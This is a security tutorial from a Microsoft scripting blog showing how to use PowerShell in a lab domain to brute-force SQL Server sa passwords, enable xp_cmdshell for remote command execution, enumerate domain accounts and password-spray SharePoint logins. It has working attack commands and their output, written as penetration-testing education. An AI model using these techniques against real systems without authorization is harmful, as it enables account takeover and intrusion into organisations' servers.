Summary: Guest blogger, Niklas Goude, talks about using Windows PowerShell to perform brute force security testing on SQL Server and SharePoint.
Microsoft Scripting Guy, Ed Wilson, is here. Today we have Niklas Goude back with Part 2 of his Security Week series.
Niklas Goude is a Security Consultant at TrueSec and an MVP in Windows PowerShell. In addition to his work performing security assessments for a variety of clients, he also has extensive experience in using Windows PowerShell to automate and implement Windows environments. He has been speaking at TechDays; SharePoint conferences in the U.S., Australia, and New Zealand; and other events and conferences. He is the author of two books about Windows PowerShell, and he shares his knowledge at PowerShell.nu. He is a member of the TrueSec Expert Team, an independent, elite team of security and infrastructure consultants that operates all over the world. The security team at TrueSec performs various tasks and services related to IT security such as code review, security health checks, and penetration testing. TrueSec also delivers top-notch training sessions in advanced IT security. Check out the TruSec website for additional information.
Note Today’s blog discusses using Windows PowerShell to perform brute force penetration testing. Windows PowerShell does not, by itself, provide anything uniquely specific to this task. Scripts could be written in any number of languages with varying degrees of difficulty. Remember that Windows PowerShell does not permit a user to do anything that the user does not have rights to do. The entire point of today’s blog is that if the systems are configured properly, the attacks will fail. Keep in mind that an easy denial-of-service attack can occur if you set restrictive account policies. To aid you in navigating various policies, review Account Policies in the Windows Server Technical Library.
This is the second blog in a series of five, and we’ll talk about basic penetration testing techniques and how they affect misconfigured systems. The series covers everything from initial network reconnaissance techniques and brute force attacks to advanced extraction of registry secrets to assess dangerous system dependencies.
The key learning point is to demonstrate how you can use Windows PowerShell to accomplish almost any task—no matter the subject. The secondary learning point is to make you aware of common security issues and misconfigurations that may occur in Microsoft infrastructures today. One important thing to keep in mind is that the vulnerabilities we are looking for exist simply because of misconfigurations made by administrators, such as weak passwords or system dependencies.
I hope you will learn and enjoy!
Part 2: Brute force
Penetration testing is an important part of improving security in any network environment. A hacker only needs to find a few weaknesses (even one) to compromise important IT systems. An important task for an IT administrator is to identify potential weaknesses and mitigate them.
Penetrating systems is usually achieved by a brute force attack or by exploiting a weakness or misconfiguration in a service. The goal is to acquire permissions to a system. An attacker that does not succeed in a brute force attack could also perform a DOS attack to damage the system.
In this scenario, we will focus on how to brute force SQL Server and web servers by using Windows PowerShell.
Scenario
This scenario is based on a Windows domain environment consisting of three machines:
- DC01: domain controller
- SRV01: SQL Server and IIS
- SP01: SharePoint 2010, SQL Server, and IIS
In addition, we have a client on the same network as the domain; however, the client is not a member of the domain. Each command in this scenario is executed from the client.
Configuration
The server running SQL Server, SRV01, is running a non-Microsoft application that is dependent on SQL Server authentication. During the installation, the SQL Server database engine was set to SQL Server and Windows authentication mode. The sa account is enabled and in use by the non-Microsoft application. For configuration recommendations, see Security Considerations for a SQL Server Installation on MSDN.
The server running SharePoint 2010, SP01, is installed by using the default settings (Next, Next, Next). The authentication method that is implemented is NTLM. For more information, see:
Code
Let us start with a classic: SQL Servers using SQL Server authentication (mixed mode). We recommend to always use Windows authentication with SQL Server when possible. But in some cases, such as when using non-Microsoft applications that depend on SQL Server authentication, mixed mode is a necessity.
For an attacker, this is particularly interesting because enabling mixed mode also creates the sa account, the built-in SQL server administrator account, during setup. If mixed mode is enabled after SQL Server has been installed, you must actively enable the sa account.
Because the sa account is a well-known account, it’s a typical target for an attacker. SQL Server 2008, SQL Server 2008 R2, and SQL Server 2012 apply the domain password policy by default on any SQL account and enforce complex passwords. However, some servers running older versions of SQL Server do not.
Testing the password of the sa account by using Windows PowerShell is a simple task. The passwords we want to test are “sa” and blank. Other easily guessed passwords are: Password, Admin, Administrator, and sysadmin.
To connect to a computer running SQL Server by using Windows PowerShell, we create an instance of System.Data.SQLClient.SQLConnection:
PS > $Connection = New-Object System.Data.SQLClient.SQLConnection
Next, we set up a connection string by using standard security. The password used in the following example is blank.
PS > $server = "10.0.0.3"
PS > $user = "sa"
PS > $password = ""
PS > $Connection.ConnectionString =
"Server=$server;Initial Catalog=Master;User Id=$user;Password=$password;"
For a good reference, see The Connection String Reference.
To test the connection, we can simply call the Open() method.
PS > $Connection.Open()
Exception calling "Open" with "0" argument(s): "Login failed for user 'sa'."
At line:1 char:1
+ $Connection.Open()
+ ~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : SqlException
The command returns an error that states the logon failed for user ‘sa’. Now, let’s try setting the password to ‘sa’ instead.
PS > $Connection = New-Object System.Data.SQLClient.SQLConnection
$server = "10.0.0.3"
$user = "sa"
$password = "sa"
$Connection.ConnectionString =
"Server=$server;Initial Catalog=Master;User Id=$user;Password=$password;"
$Connection.Open()
This time the method did not return an error message, which means that we successfully guessed the sa account’s password.
We can add this piece of code to a function and automate these steps even further. The following example demonstrates how to read passwords from a password list, and then pass them to a function, Invoke-TSMedusa. Here’s the content of the password list:
PS > Import-Csv .\sqlPwd.csv
Password
--------
Admin
Password
sa
Administrator
sysadmin
And here’s what happens if we run the function.
PS > Import-Csv .\sqlPwd.csv |
Invoke-TSMedusa -Identity 10.0.0.3 -UserName sa -Service SQL |
Select UserName, Password, Success
UserName Password Success
-------- -------- -------
sa Admin False
sa Password False
sa False
sa sa True
sa Administrator False
sa sysadmin False
Note If a password policy is used, which is recommended, the account might have been locked out, depending on the number of bad logon attempts permitted by the password policy.
So is it really that dangerous if we know the sa account password? Well, the sa account is the built-in SQL server administrator account, and it can execute stored procedures. One stored procedure of interest for an attacker is xp_cmdshell, which spawns a command shell and passes in a string for execution.
Before we go ahead and execute commands by using xp_cmdshell, we need a way of passing commands to a server running SQL Server. We can achieve this by creating an instance to System.Data.SQLClient.SQLCommand, and then passing the open connection stored in $connection to the Connection property as demonstrated here:
PS > $command = New-Object System.Data.SQLClient.SQLCommand
PS > $command.Connection = $Connection
Now, let’s grab the syslogin accounts by using a simple SQL command. First we add a SQL command to the CommandText property, and then we call the ExecuteReader() method to execute the SQL command.
Note It is interesting that the previous example is a potential security risk itself. Always use parameterized SQL. Never concatenate strings (especially user inputted strings), or you might find yourself hacked through an SQL injection.
PS > $command.CommandText = "SELECT name FROM master.SYS.syslogins"
$reader = $command.ExecuteReader()
The reader variable now contains the result from the SQL command. We can use a while loop to display the results as shown here:
PS > while ($reader.Read()) {
New-Object PSObject -Property @{
Name = $reader.GetValue(0)
}
}
Name
----
sa
##MS_SQLResourceSigningCertificate##
##MS_SQLReplicationSigningCertificate##
##MS_SQLAuthenticatorCertificate##
##MS_PolicySigningCertificate##
##MS_SmoExtendedSigningCertificate##
##MS_PolicyEventProcessingLogin##
##MS_PolicyTsqlExecutionLogin##
##MS_AgentSigningCertificate##
NT AUTHORITY\SYSTEM
NT SERVICE\MSSQLSERVER
HACME\administrator
HACME\sql-admin
NT SERVICE\SQLSERVERAGENT
hacme
foo
Notice how the command displays both SQL accounts and domain accounts. All this is possible because of a misconfigured sa account.
Back to business…
Let’s execute some Windows PowerShell using SQL and the sa account. In this example, we will use the Get-TSSQL function, which basically uses the code described earler. The xp_cmdshell stored procedure is disabled by default, but because we now own the sa account, we can enable it as shown here:
PS > $connectionString = "server=10.0.0.3;database=master;User Id=sa;Password=sa;"
PS > $query = "EXEC sp_configure 'show advanced options',1; RECONFIGURE;"
PS > Get-TSSQL -Query $query -ConnectionString $connectionString
PS > $query = "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE"
PS > Get-TSSQL -Query $query -ConnectionString $connectionString
Now we can execute Windows PowerShell remotely through the server running SQL Server. Here is an example that starts Windows PowerShell and runs the internal command whoami.
PS > $cmd = 'powershell.exe -Command "& { whoami }"'
PS > $query = "EXEC xp_cmdshell '$cmd'"
PS > Get-TSSQL -Query $query -ConnectionString $connectionString
output
------
hacme\sql-serviceaccount
Notice how whoami displays hacme\sql-serviceaccount. In other words, we can now execute commands as a domain account (the account that is configured to start the SQL Server service). It is also possible to grab all of the local and domain accounts available in the domain by using a wmi class. This is shown in the command that follows.
PS > $cmd = 'powershell.exe -Command "& { gwmi Win32_UserAccount | select Caption }"'
$query = "EXEC xp_cmdshell '$cmd'"
Get-TSSQL -Query $query -ConnectionString $connectionString
output
------
Caption
-------
SRV01\Administrator
SRV01\Guest
HACME\Administrator
HACME\Guest
HACME\User001
HACME\User002
The previous example returns a list of all available domain accounts.
Now let us take a look at how we can use the domain accounts acquired from the previous example to attack a web server.
In this scenario, we will try to brute force a default configuration (one setup by someone who simply clicked Next, Next, Next …) in SharePoint Server by using Windows PowerShell.
If we use Internet Explorer and browse to the SharePoint Server, we get a Windows logon screen that asks us for a user name and password. We could try typing each user name and guess for a password manually, but that is time consuming. Windows PowerShell is all about automating the Windows environment, so let’s use it.
First, we create an instance of Net.WebClient.
PS > $webClient = New-Object Net.WebClient
Next, we store the URL (the root site in SharePoint defaults to http://servername/SitePages/Home.aspx). We also specify the user name and the password that we want to test in variables.
PS > $userName = "hacme\user001"
PS > $password = "Password1"
PS > $url = "http://sp01/SitePages/Home.aspx"
Now, we convert the password to a secure string and create a PSCredential object to hold the user name and the password:
PS > $securePassword = ConvertTo-SecureString -AsPlainText -String $password -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $userName, $securePassword
Finally, we add the credential object to the WebClient Credential property and attempt to download the web page by using the DownloadString() method as shown here.
PS > $webClient.Credentials = $credential
PS > $webClient.DownloadString($url)
Exception calling "DownloadString" with "1" argument(s): "The remote server retur
ned an error: (401) Unauthorized."
At line:2 char:1
+ $webClient.DownloadString($url)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : WebException
Because we used the wrong password, an error message is returned that tells us we are unauthorized. In other words, we guessed the wrong password.
We have a complete list of all the user accounts in the domain, so we can automate these steps and perform the same test on each domain account. We don’t want to perform multiple tests on the same account because it might lock out the account, so we’ll pick a commonly used password and hope for the best. In this example, we’ll use Password1. In the following example, the accounts retrieved from xp_cmdshell are stored in a .csv file. The .csv file is used as input to the Invoke-TSMedusa function.
PS > Import-Csv .\slqdump.csv |
Invoke-TSMedusa -Identity "http://sp01/SitePages/Home.aspx" -Password Password1 -Service Web | Select UserName, Password, Success
UserName Password Success
-------- -------- -------
user001 Password1 False
user002 Password1 False
user003 Password1 False
user004 Password1 False
user005 Password1 False
user006 Password1 False
user007 Password1 False
user008 Password1 True
The output from the function tells us that user008 has the password Password1. With a domain account, we can dig even deeper into the domain.
Downloads
- The Invoke-TSMedusa function can be found in the Script Center Repository.
- An extra script that was not specifically mentioned in today’s blog, Get-TSSqlSysLogin.ps1 is also available in the Script Center Repository.
- Additional functions and code related to security are available on the TruSec Tools site.
~Niklas
I want to thank Niklas for another great blog. Security Week will continue tomorrow with another blog by Niklas.
I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.
Ed Wilson, Microsoft Scripting Guy